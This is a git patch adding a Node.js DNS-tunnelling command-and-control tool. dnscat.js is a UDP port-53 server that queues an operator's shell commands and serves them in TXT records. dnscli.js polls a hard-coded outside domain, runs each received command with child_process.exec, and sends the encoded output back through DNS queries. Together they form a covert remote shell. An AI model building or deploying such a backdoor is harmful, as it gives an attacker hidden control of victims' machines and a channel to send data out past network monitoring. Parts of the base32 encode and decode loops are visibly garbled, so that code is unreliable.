From c7c1bafa4b3b6deb0da1cf9eb06864a69938e1ac Mon Sep 17 00:00:00 2001 From: Carson Fleming Date: Thu, 14 Jul 2022 23:08:10 -0700 Subject: Add initial version --- dns_correct.pcap | Bin 0 -> 657 bytes dnscat.js | 286 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ dnscli.js | 158 ++++++++++++++++++++++++++++++ 3 files changed, 444 insertions(+) create mode 100644 dns_correct.pcap create mode 100644 dnscat.js create mode 100644 dnscli.js diff --git a/dns_correct.pcap b/dns_correct.pcap new file mode 100644 index 0000000..cdbb145 Binary files /dev/null and b/dns_correct.pcap differ diff --git a/dnscat.js b/dnscat.js new file mode 100644 index 0000000..8956b2e --- /dev/null +++ b/dnscat.js @@ -0,0 +1,286 @@ +const dgram = require('dgram'); +const Buffer = require('buffer').Buffer; +const readline = require('readline'); + +const host = '0.0.0.0'; +const port = 53; +const commandQueue = []; + +const length_descending = (a, b) => b.length - a.length; +const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : []; +const sock = dgram.createSocket('udp4'); + +function bitSlice(byte, offset, len) { + return (byte >>> (8 - offset - len)) & ~(0xff << len); +} + +function parseRequest(buffer) { + const query = { + header: {}, + questions: [], + }; + + query.header.id = buffer.subarray(0, 2); + + let tmp = buffer.subarray(2, 3).toString('binary', 0, 1).charCodeAt(0); + query.header.qr = bitSlice(tmp, 0, 1); + query.header.opcode = bitSlice(tmp, 1, 4); + query.header.aa = bitSlice(tmp, 5, 1); + query.header.tc = bitSlice(tmp, 6, 1) + query.header.rd = bitSlice(tmp, 7, 1); + + tmp = buffer.subarray(3, 4).toString('binary', 0, 1).charCodeAt(0); + query.header.ra = bitSlice(tmp, 0, 1); + query.header.z = bitSlice(tmp, 1, 3); + query.header.rcode = bitSlice(4, 4); + + query.header.qdcount = buffer.subarray(4, 6); + query.header.ancount = buffer.subarray(6, 8); + query.header.nscount = buffer.subarray(8, 10); + query.header.arcount = buffer.subarray(10, 12); + + let idx = 12; + let question = {}; + let domain = ''; + let questionsLeft = query.header.qdcount.readUInt16BE(); + + while (idx < buffer.length - 4) { + const sz = buffer[idx]; + if (sz == 0) { + question.qname = domain.substr(1); + question.qtype = buffer.subarray(idx + 1, idx + 3); + question.qclass = buffer.subarray(idx + 3, idx + 5); + query.questions.push(question); + + if (--questionsLeft == 0) break; + question = {}; + domain = ''; + idx += 5; + } else { + domain += '.' + buffer.toString('binary', idx + 1, idx + sz + 1); + idx += sz + 1; + } + } + + return query; +} + +function buildResponse(query, qn, text) { + const answer = { + header: {}, + question: query.questions[qn], + rr: { + qname: query.questions[qn].qname, + qtype: query.questions[qn].qtype, + qclass: query.questions[qn].qclass, + ttl: 0, + rdata: text, + rdlen: text.length, + }, + }; + + answer.header.id = query.header.id; + answer.header.qr = 1; + answer.header.opcode = query.header.opcode; + answer.header.aa = 1; + answer.header.tc = 0; + answer.header.rd = query.header.rd; + answer.header.ra = 0; + answer.header.z = 0; + answer.header.rcode = 0; + + answer.header.qdcount = query.questions.length; + answer.header.ancount = 1; + answer.header.nscount = 0; + answer.header.arcount = 0; + + return buildResponseBuffer(answer); +} + +function wrapQName(str, offset, ptrs = {}) { + str = str.toLowerCase(); + if (str in ptrs) return [0xc0, ptrs[str]]; + ptrs[str] = offset; + + const selectors = str.split('.'); + const buffer = []; + + for (const selector of selectors) { + buffer.push(selector.length & 0x3f); + for (let i = 0; i < selector.length; i++) { + buffer.push(selector.charCodeAt(i)); + } + } + + buffer.push(0x00); + return buffer; +} + +function buildResponseBuffer(answer) { + const pointerTable = {}; + const wrappedName = Buffer.from(wrapQName(answer.question.qname, 12, pointerTable)); + const qnsz = wrappedName.length; + const sz = 16 + qnsz; + const buffer = Buffer.alloc(sz); + + answer.header.id.copy(buffer, 0, 0, 2); + buffer[2] = answer.header.qr << 7 | answer.header.opcode << 3 | answer.header.aa << 2 | answer.header.tc << 1 | answer.header.rd; + buffer[3] = answer.header.ra << 7 | answer.header.z << 4 | answer.header.rcode; + + buffer.writeUInt16BE(answer.header.qdcount, 4); + buffer.writeUInt16BE(answer.header.ancount, 6); + buffer.writeUInt16BE(answer.header.nscount, 8); + buffer.writeUInt16BE(answer.header.arcount, 10); + + wrappedName.copy(buffer, 12, 0, qnsz); + answer.question.qtype.copy(buffer, 12 + qnsz, 0, 2); + answer.question.qclass.copy(buffer, 14 + qnsz, 0, 2); + + const rr = wrapQName(answer.rr.qname, sz, pointerTable); + + const qtype = answer.rr.qtype.readUInt16BE(); + rr.push(qtype >> 8 & 0xff); + rr.push(qtype & 0xff); + const qclass = answer.rr.qclass.readUInt16BE(); + rr.push(qclass >> 8 & 0xff); + rr.push(qclass & 0xff); + const ttl = answer.rr.ttl; + rr.push(ttl >> 24 & 0xff); + rr.push(ttl >> 16 & 0xff); + rr.push(ttl >> 8 & 0xff); + rr.push(ttl & 0xff); + const rdlength = answer.rr.rdlen + 1; + rr.push(rdlength >> 8 & 0xff); + rr.push(rdlength & 0xff); + rr.push(rdlength - 1 & 0xff); + + const rrdata = rr.concat(answer.rr.rdata.split('').map(c => c.charCodeAt(0))); + return Buffer.concat([buffer, Buffer.from(rrdata)]); +} + +sock.on('message', function(req, rinfo) { + const query = parseRequest(req); + for (let i = 0; i < query.questions.length; i++) { + if (query.questions[i].qtype.readUInt16BE() != 16) continue; // only answer TXT queries + + const qname = query.questions[i].qname.toLowerCase(); + let recognized = false, domain; + + for (domain of domains) { + domain = domain.toLowerCase(); + if (qname.endsWith('.' + domain)) { + recognized = true; + break; + } + } + if (!recognized) continue; + + const selector = qname.substr(0, qname.indexOf('.' + domain)).toLowerCase(); + const overhead = 32, max_sz = 512, max_txt = 255; + + let resp; + + if (selector == "asuh") { + if (commandQueue.length < 1) { + resp = 'nop'; + } else { + resp = commandQueue.shift(); + while (resp.length > max_txt || resp.length + domain.length + overhead > max_sz) { + console.log('\n[WARN] Queued command is too long; skipping "', resp, '"'); + rl.prompt(true); + resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop'; + } + } + } else { + const output = unpack(selector); + if (!output) { + console.log('\n[WARN] Unable to decode selector:', selector, "; tampering detected"); + rl.prompt(true); + return; + } + console.log(); + if (output === '\xde\xadDONE') { + console.log(); + rl.prompt(true); + } else { + process.stdout.write(output); + } + + resp = 'ok'; + } + + const responseBuffer = buildResponse(query, i, resp); + sock.send(responseBuffer, 0, responseBuffer.length, rinfo.port, rinfo.address, function(e) { + if (e) console.warn('Error Sending Response:', e); + }); + } +}); + +function unpack(s) { + const chunks = s.split('.').reverse().map(c => decode(c)); + return chunks.join(''); +} + +function decode(s) { + const len = s.length; + const apad = 'abcdefghijklmnopqrstuvwxy1234567z'; + let v,x,r=0,bits=0,c,o=''; + + for(i=0;i 32) return false; + if (v == 32) continue; + + x = (x << 5) | v; + bits += 5; + if (bits >= 8) { + c = (x >> (bits - 8)) & 0xff; + o = o + String.fromCharCode(c); + bits -= 8; + } + } + if (bits>0) { + c = ((x << (8 - bits)) & 0xff) >> (8 - bits); + + if (c!==0) { + o = o + String.fromCharCode(c); + } + } + + return o; +} + +sock.on('error', function(e) { + console.error('Socket Error:', e); +}); + +sock.bind(port, host); +console.log('Bound on '+host+':'+port); +console.log('Serving domains: ', domains); + +const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + terminal: true, + prompt: '\x1b[1;37m[0xdeadc0de]\x1b[0m ', +}); + +rl.on('line', function (cmd) { + commandQueue.push(cmd.trim()); +// rl.prompt(); +}); + +rl.on('close', function () { + console.log('Quitting.'); + sock.close(); +}); + +rl.on('SIGINT', function () { + console.log('^C'); + rl.line = ''; + rl.cursor = 0; + rl.prompt(); +}); + +console.log('[INFO] Command interpreter started') +rl.prompt(); diff --git a/dnscli.js b/dnscli.js new file mode 100644 index 0000000..204b439 --- /dev/null +++ b/dnscli.js @@ -0,0 +1,158 @@ +const DOMAIN = 'zcz.cflems.org'; +const MAX_CHUNK_SIZE = 35; +const MAX_ENCODED_SIZE = 63; +const MAX_TOTAL_SIZE = 255 - DOMAIN.length; +const MAX_CHUNKS = Math.floor(MAX_TOTAL_SIZE / MAX_ENCODED_SIZE); +const NOP_SLEEP_TIME = 1; + +const dns = require('dns'); +const cp = require('child_process'); + +function sleep(sec) { + return new Promise(function(resolve) { + setTimeout(resolve, 1000*sec); + }); +} + +function getDNSText(dest) { + return new Promise(function(resolve, reject) { + dns.resolveTxt(dest, function(err, records) { + if (err) reject(err); + else resolve(records); + }); + }); +} + +function system(cmd) { + return new Promise(function(resolve, reject) { + cp.exec(cmd, function (err, stdout, stderr) { + if (err) reject(err); + else resolve({stdout, stderr}); + }); + }); +} + +async function eventLoop() { + while (true) { + try { + await event(); + } catch (e) { + await sleep(NOP_SLEEP_TIME); + } + } +} + +async function event() { + const records = await getDNSText('asuh.' + DOMAIN); + if (!records[0] || !records[0][0] || records[0][0] == 'nop') { + await sleep(NOP_SLEEP_TIME); + return; + } + + for (const record of records) { + const rtxt = record.join(''); + let {stdout, stderr} = await system(rtxt); + let packets = []; + stdout = stdout.trim(); + stderr = stderr.trim(); + + if (stdout.length > 0) { + for (let line of stdout.split('\n')) { + console.log('line: "', line, '"'); + packets = packets.concat(encode(line)); + } + } + if (stderr.length > 0) { + for (line of stderr.split('\n')) { + console.log('line: "', line, '"'); + packets = packets.concat(encode(line)); + } + } + packets = packets.concat(encode('\xde\xadDONE')); + + for (const packet of packets) { + await getDNSText(packet + DOMAIN); + } + } +} + +function encode(s) { + const packets = []; + let parcel = ''; + + while (s.length > 0) { + const chunk = b32(s.substr(0, MAX_CHUNK_SIZE)); + if (parcel.length + chunk.length + 1 > MAX_TOTAL_SIZE) { + packets.push(parcel); + parcel = ''; + } + parcel = chunk + '.' + parcel; + s = s.substr(MAX_CHUNK_SIZE); + } + if (parcel.length > 0) packets.push(parcel); + + return packets; +} + +function b32(s) { + const a = 'abcdefghijklmnopqrstuvwxy1234567'; + const pad = 'z'; + const len = s.length; + let o = ''; + let w, c, r=0, sh=0; + for(let i=0; i>3); + r = 0x07 & c; + sh = 2; + + if ((i+1)>6)); + o += a.charAt( (0x3e & c) >> 1 ); + r = c & 0x01; + sh = 4; + } + + if ((i+2)>4)); + r = 0x0f & c; + sh = 1; + } + + if ((i+3)>7)); + o += a.charAt((0x7c & c) >> 2); + r = 0x03 & c; + sh = 3; + } + + if ((i+4)>5)); + o += a.charAt(0x1f & c); + r = 0; + sh = 0; + } + } + + if (sh != 0) { o += a.charAt(r<